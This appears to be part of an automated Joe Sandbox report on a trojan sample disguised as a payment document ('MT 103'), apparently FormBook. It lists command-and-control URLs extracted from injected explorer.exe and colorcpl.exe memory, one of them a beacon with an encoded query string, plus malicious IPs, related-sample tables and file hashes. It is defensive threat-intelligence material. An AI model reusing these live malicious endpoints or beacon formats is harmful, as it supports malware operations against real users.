                                                                                                          http://www.nline-courses-classes-lv-1.bond/c24t/explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                            		unknown
                                                                                                            https://wns.windows.com/)sexplorer.exe, 00000006.00000002.4535238985.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.2087085209.00000000099C0000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                              		unknown
                                                                                                              http://www.autoitscript.com/autoit3/Jexplorer.exe, 00000006.00000003.3095289336.000000000C860000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.2093169355.000000000C860000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                		unknown
                                                                                                                http://www.est-life-insurance-2507.todayReferer:explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                  		unknown
                                                                                                                  http://www.vto.stream/c24t/explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                    		unknown
                                                                                                                    http://www.j88.travel/c24t/explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                      		unknown
                                                                                                                      http://www.j88.travelexplorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                        		unknown
                                                                                                                        http://www.7395.asia/c24t/explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                          		unknown
                                                                                                                          http://www.orenzoplaybest14.xyz/c24t/explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                            		unknown
                                                                                                                            http://www.consuyt.xyz/c24t/explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                              		unknown
                                                                                                                              http://www.est-life-insurance-2507.today/c24t/explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                		unknown
                                                                                                                                http://www.vto.streamReferer:explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                  		unknown
                                                                                                                                  http://www.est-life-insurance-2507.today/c24t/www.etangkhap99.lolexplorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                    		unknown
                                                                                                                                    https://www.chiark.greenend.org.uk/~sgtatham/putty/0explorer.exe, 00000006.00000002.4542330951.00000000108CF000.00000004.80000000.00040000.00000000.sdmp, colorcpl.exe, 00000007.00000002.4524605308.0000000004542000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000007.00000002.4525657020.0000000004CEF000.00000004.10000000.00040000.00000000.sdmp, hbwebdownload - MT 103.exefalse
                                                                                                                                    • URL Reputation: safe
                                                                                                                                    		unknown
                                                                                                                                    http://www.etangkhap99.lolexplorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                      		unknown
                                                                                                                                      http://www.fbpd.top/c24t/www.1385.netexplorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                        		unknown
                                                                                                                                        https://outlook.comexplorer.exe, 00000006.00000000.2087085209.0000000009B41000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094406627.0000000009D42000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3851742437.0000000009BAA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.4536299866.0000000009C96000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3851951539.0000000009C92000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                        • URL Reputation: safe
                                                                                                                                        		unknown
                                                                                                                                        http://www.7395.asia/c24t/www.ocoani.shopexplorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                          		unknown
                                                                                                                                          http://www.fbpd.topexplorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                            		unknown
                                                                                                                                            http://www.amilablackwell.online/c24t/explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                              		unknown
                                                                                                                                              http://www.oko.events/c24t/www.orenzoplaybest14.xyzexplorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                		unknown
                                                                                                                                                http://www.fbpd.topReferer:explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                  		unknown
                                                                                                                                                  http://www.ocoani.shopexplorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                    		unknown
                                                                                                                                                    http://www.1385.net/c24t/www.nline-courses-classes-lv-1.bondexplorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                      		unknown
                                                                                                                                                      http://www.fbpd.top/c24t/explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                        		unknown
                                                                                                                                                        https://android.notify.windows.com/iOSexplorer.exe, 00000006.00000000.2084445770.00000000076F8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.4528531386.00000000076F8000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                        • URL Reputation: safe
                                                                                                                                                        		unknown
                                                                                                                                                        http://www.ridges-freezers-56090.bond/c24t/www.consuyt.xyzexplorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                          		unknown
                                                                                                                                                          http://www.ridges-freezers-56090.bond/c24t/explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                            		unknown
                                                                                                                                                            https://www.j88.travel/c24t/?Edg8Tp=iDjdFciE5wc5h9D9V74ZS/2sliUdDJEhqWnTSCKxgeFtQoD7uajT9bZ2explorer.exe, 00000006.00000002.4542330951.0000000010DBF000.00000004.80000000.00040000.00000000.sdmp, colorcpl.exe, 00000007.00000002.4525657020.00000000051DF000.00000004.10000000.00040000.00000000.sdmpfalse
                                                                                                                                                              		unknown
                                                                                                                                                              http://www.458881233.men/c24t/www.7395.asiaexplorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                		unknown
                                                                                                                                                                http://www.est-life-insurance-2507.todayexplorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                  		unknown
                                                                                                                                                                  http://www.ocoani.shop/c24t/hexplorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                    		unknown
                                                                                                                                                                    https://api.msn.com/explorer.exe, 00000006.00000000.2087085209.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.4535238985.0000000009ADB000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                    • URL Reputation: safe
                                                                                                                                                                    		unknown
                                                                                                                                                                    http://www.7395.asiaexplorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                      		unknown
                                                                                                                                                                      http://www.consuyt.xyzexplorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                        		unknown
                                                                                                                                                                        http://crl.vexplorer.exe, 00000006.00000002.4523936040.0000000000F13000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.2081212306.0000000000F13000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                          		unknown
                                                                                                                                                                          http://www.ourhealthyourlife.shop/c24t/explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                            		unknown
                                                                                                                                                                            http://www.1385.netReferer:explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                              		unknown
                                                                                                                                                                              http://www.amilablackwell.onlineexplorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                		unknown
                                                                                                                                                                                http://www.consuyt.xyzReferer:explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                  		unknown

                                                                                                                                                                                  World Map of Contacted IPs

                                                                                                                                                                                  • No. of IPs < 25%
                                                                                                                                                                                  • 25% < No. of IPs < 50%
                                                                                                                                                                                  • 50% < No. of IPs < 75%
                                                                                                                                                                                  • 75% < No. of IPs

                                                                                                                                                                                  Public IPs

                                                                                                                                                                                  IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                                                  188.114.96.3
                                                                                                                                                                                  		www.j88.travelEuropean Union
                                                                                                                                                                                  		13335CLOUDFLARENETUStrue
                                                                                                                                                                                  185.26.122.70
                                                                                                                                                                                  		www.oko.eventsRussian Federation
                                                                                                                                                                                  		62082HOSTLANDRUtrue

                                                                                                                                                                                  General Information

                                                                                                                                                                                  Joe Sandbox version:41.0.0 Charoite
                                                                                                                                                                                  Analysis ID:1523376
                                                                                                                                                                                  Start date and time:2024-10-01 14:45:13 +02:00
                                                                                                                                                                                  Joe Sandbox product:CloudBasic
                                                                                                                                                                                  Overall analysis duration:0h 10m 34s
                                                                                                                                                                                  Hypervisor based Inspection enabled:false
                                                                                                                                                                                  Report type:full
                                                                                                                                                                                  Cookbook file name:default.jbs
                                                                                                                                                                                  Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                                                                  Number of analysed new started processes analysed:12
                                                                                                                                                                                  Number of new started drivers analysed:0
                                                                                                                                                                                  Number of existing processes analysed:0
                                                                                                                                                                                  Number of existing drivers analysed:0
                                                                                                                                                                                  Number of injected processes analysed:1
                                                                                                                                                                                  Technologies:
                                                                                                                                                                                  • HCA enabled
                                                                                                                                                                                  • EGA enabled
                                                                                                                                                                                  • AMSI enabled
                                                                                                                                                                                  Analysis Mode:default
                                                                                                                                                                                  Sample name:hbwebdownload - MT 103.exe
                                                                                                                                                                                  Detection:MAL
                                                                                                                                                                                  Classification:mal100.troj.evad.winEXE@11/6@11/2
                                                                                                                                                                                  EGA Information:
                                                                                                                                                                                  • Successful, ratio: 100%
                                                                                                                                                                                  HCA Information:
                                                                                                                                                                                  • Successful, ratio: 100%
                                                                                                                                                                                  • Number of executed functions: 124
                                                                                                                                                                                  • Number of non-executed functions: 295
                                                                                                                                                                                  Cookbook Comments:
                                                                                                                                                                                  • Found application associated with file extension: .exe
                                                                                                                                                                                  • Override analysis time to 240000 for current running targets taking high CPU consumption

                                                                                                                                                                                  Warnings

                                                                                                                                                                                  • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
                                                                                                                                                                                  • Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                                                                                                                                                                  • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                                                  • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                                                                                                                                  • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                                                                                  • Report size getting too big, too many NtCreateKey calls found.
                                                                                                                                                                                  • Report size getting too big, too many NtEnumerateKey calls found.
                                                                                                                                                                                  • Report size getting too big, too many NtOpenKey calls found.
                                                                                                                                                                                  • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                                                                  • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                                                                                  • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                                                                                  • VT rate limit hit for: hbwebdownload - MT 103.exe

                                                                                                                                                                                  Simulations

                                                                                                                                                                                  Behavior and APIs

                                                                                                                                                                                  TimeTypeDescription
                                                                                                                                                                                  08:46:05API Interceptor1x Sleep call for process: hbwebdownload - MT 103.exe modified
                                                                                                                                                                                  08:46:07API Interceptor9x Sleep call for process: powershell.exe modified
                                                                                                                                                                                  08:46:15API Interceptor8663304x Sleep call for process: explorer.exe modified
                                                                                                                                                                                  08:46:50API Interceptor7841859x Sleep call for process: colorcpl.exe modified

                                                                                                                                                                                  Joe Sandbox View / Context

                                                                                                                                                                                  IPs

                                                                                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                  188.114.96.3z4Shipping_document_pdf.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                  • www.bayarcepat19.click/g48c/
                                                                                                                                                                                  update SOA.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                  • www.bayarcepat19.click/5hcm/
                                                                                                                                                                                  docs.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                  • www.j88.travel/c24t/?I6=iDjdFciE5wc5h9D9V74ZS/2sliUdDJEhqWnTSCKxgeFtQoD7uajT9bZ2+la3znjNy02hfQbCEg==&AL0=9rN46F
                                                                                                                                                                                  https://wwvmicrosx.live/office365/office_cookies/mainGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                  • wwvmicrosx.live/office365/office_cookies/main/
                                                                                                                                                                                  http://fitur-dana-terbaru-2024.pages.dev/Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                  • fitur-dana-terbaru-2024.pages.dev/favicon.ico
                                                                                                                                                                                  http://mobilelegendsmycode.com/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                  • mobilelegendsmycode.com/favicon.ico
                                                                                                                                                                                  http://instructionhub.net/?gad_source=2&gclid=EAIaIQobChMI-pqSm7HgiAMVbfB5BB3YEjS_EAAYASAAEgJAAPD_BwEGet hashmaliciousWinSearchAbuseBrowse
                                                                                                                                                                                  • download.all-instructions.com/Downloads/Instruction%2021921.pdf.lnk
                                                                                                                                                                                  ADNOC requesting RFQ.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                  • www.chinaen.org/zi4g/
                                                                                                                                                                                  http://twint.ch-daten.com/de/receive/bank/sgkb/79469380Get hashmaliciousUnknownBrowse
                                                                                                                                                                                  • twint.ch-daten.com/socket.io/?EIO=4&transport=polling&t=P8hxwsc
                                                                                                                                                                                  Cbequipment-Voice Audio Interface.pdfGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                  • www.444317.com/
                                                                                                                                                                                  185.26.122.70docs.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                  • www.oko.events/c24t/?I6=z+nAhoA8drw9p0SUk4F23aiKXvdwmiYumykkUl5XSRWt3Wct2pK+VZvxUbC02dv5lpT+B1+jbQ==&AL0=9rN46F
                                                                                                                                                                                  Dekont.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                  • www.oko.events/bc01/?L0D=2d9T+7THaWc2iPFPh4rF72vVDn7gh6g8QCASy1echoulKxCIJZpqtWLObEUMh//SmEX6&2dptmT=8paLMJPH3rxHgFq0

                                                                                                                                                                                  Domains

                                                                                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                  www.oko.eventsdocs.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                  • 185.26.122.70
                                                                                                                                                                                  Dekont.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                  • 185.26.122.70
                                                                                                                                                                                  Quotation #10091.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                  • 185.26.122.70
                                                                                                                                                                                  PAGO_200924.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                  • 185.26.122.70
                                                                                                                                                                                  www.1385.netSOA.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                  • 103.59.102.59
                                                                                                                                                                                  PO401.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                  • 103.59.102.59
                                                                                                                                                                                  www.j88.traveldocs.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                  • 188.114.96.3
                                                                                                                                                                                  SOA.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                  • 188.114.96.3

                                                                                                                                                                                  ASNs

                                                                                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                  HOSTLANDRUdocs.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                  • 185.26.122.70
                                                                                                                                                                                  Dekont.exeGet hashmaliciousFormBookBrowse
                                                                                                                                                                                  • 185.26.122.70
                                                                                                                                                                                  Wave.exeGet hashmaliciousDiscord Token Stealer, Orcus, SugarDumpBrowse
                                                                                                                                                                                  • 185.37.62.158
                                                                                                                                                                                  DFpUKTL6kg.exeGet hashmaliciousDCRatBrowse
                                                                                                                                                                                  • 185.26.122.81
                                                                                                                                                                                  http://mydpd.space/Get hashmaliciousDCRat, PureLog StealerBrowse
                                                                                                                                                                                  • 185.26.122.30
                                                                                                                                                                                  HEUR-Backdoor.MSIL.LightStone.gen-6974f159cb6.exeGet hashmaliciousDCRatBrowse
                                                                                                                                                                                  • 185.26.122.79
                                                                                                                                                                                  yk2Eh24FDd.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                  • 185.26.122.81
                                                                                                                                                                                  hT0xyYJthf.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                  • 185.26.122.81
                                                                                                                                                                                  https://hideuri.com/EXWJgmGet hashmaliciousUnknownBrowse
                                                                                                                                                                                  • 185.26.122.79
                                                                                                                                                                                  rwDENO48jg.elfGet hashmaliciousMirai, MoobotBrowse
                                                                                                                                                                                  • 185.221.215.184
                                                                                                                                                                                  CLOUDFLARENETUShttps://links.rasa.io/v1/t/eJx1kM2OgjAUhV_FsB6kpUXQ1bzAuJp9c2mvTI1Q0tvGEMO7DzCKC51t73d-em5J9JfksEl-QujpkGXR19A13sUet9q1W4iZJko-NkmLAQwEmOhbQi56jbPwiFe6YAjoXyBswS7mBiwN2nVXGCSTn838PrvPCg8EqkUiaFCFoV9Na2_x9I0Uvv6OK0yxPqMO6tlhsmpjZ8OgppCTbaKHYF33IFflk7Nm1u3LUgDjp5QXRqZ1qU0KOYNUij0T1U7ntaxeOhJ2Rk1_XJJzlsuUs5TxlfOonTf3BF5UohBl9aZCj56mjv9wjzQfV0TIXck5E_I9RBTxjh5dt8wFtQrTgMr18xzrZRzHX-Cephc=#a2FyZW4ubW9vbmV5QGJhbGxhcmRkZXNpZ25zLm5ldA==Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                  • 104.17.25.14
                                                                                                                                                                                  Message_2477367.emlGet hashmaliciousUnknownBrowse
                                                                                                                                                                                  • 1.1.1.1
                                                                                                                                                                                  file.exeGet hashmaliciousCredGrabber, Meduza StealerBrowse
                                                                                                                                                                                  • 104.26.13.205
                                                                                                                                                                                  Swift_ach Complaints.sppgCQDM.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                  • 104.18.11.207
                                                                                                                                                                                  http://reliant-hornes.co.ukGet hashmaliciousHtmlDropperBrowse
                                                                                                                                                                                  • 104.18.95.41
                                                                                                                                                                                  WIpGif4IRrFfamQ.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                                                  • 188.114.97.3
                                                                                                                                                                                  https://trk.mail.ru/c/kruxy7?clickid=mtg66f14a9e6633b800088f731w&mt_campaign=ss_mark_se_ios&mt_creat%20ive=m-%20se23.mp4&mt_gaid=&mt_idfa=&mt_network=mtg1206891918&mt_oaid=&mt_sub1=ss_mark_se_ios&mt_sub2=mtg12068%2091918&mt_sub3=1809824272&mt_sub5=ss_mark_se_iosGet hashmaliciousUnknownBrowse
                                                                                                                                                                                  • 104.22.54.104
                                                                                                                                                                                  http://ek21-cl.asp.cuenote.jp/c/pvwyaadfke3Lf8bGGet hashmaliciousUnknownBrowse
                                                                                                                                                                                  • 104.18.208.173
                                                                                                                                                                                  https://www.canva.com/design/DAGSL2lLp_4/lQGTdiRa89y3fkgkaFc-uQ/edit?utm_content=DAGSL2lLp_4&utm_campaign=designshare&utm_medium=link2&utm_source=sharebuttonGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                  • 172.64.144.96
                                                                                                                                                                                  Bank Payment $38,735.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                  • 104.26.13.205

                                                                                                                                                                                  JA3 Fingerprints

                                                                                                                                                                                  ⊘No context

                                                                                                                                                                                  Dropped Files

                                                                                                                                                                                  ⊘No context

                                                                                                                                                                                  Created / dropped Files

                                                                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\hbwebdownload - MT 103.exe.log

                                                                                                                                                                                  Download File
                                                                                                                                                                                  Process:C:\Users\user\Desktop\hbwebdownload - MT 103.exe
                                                                                                                                                                                  File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                  Size (bytes):1216
                                                                                                                                                                                  Entropy (8bit):5.34331486778365
                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                  SSDEEP:24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
                                                                                                                                                                                  MD5:1330C80CAAC9A0FB172F202485E9B1E8
                                                                                                                                                                                  SHA1:86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
                                                                                                                                                                                  SHA-256:B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
                                                                                                                                                                                  SHA-512:75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
                                                                                                                                                                                  Malicious:true
                                                                                                                                                                                  Reputation:high, very likely benign file
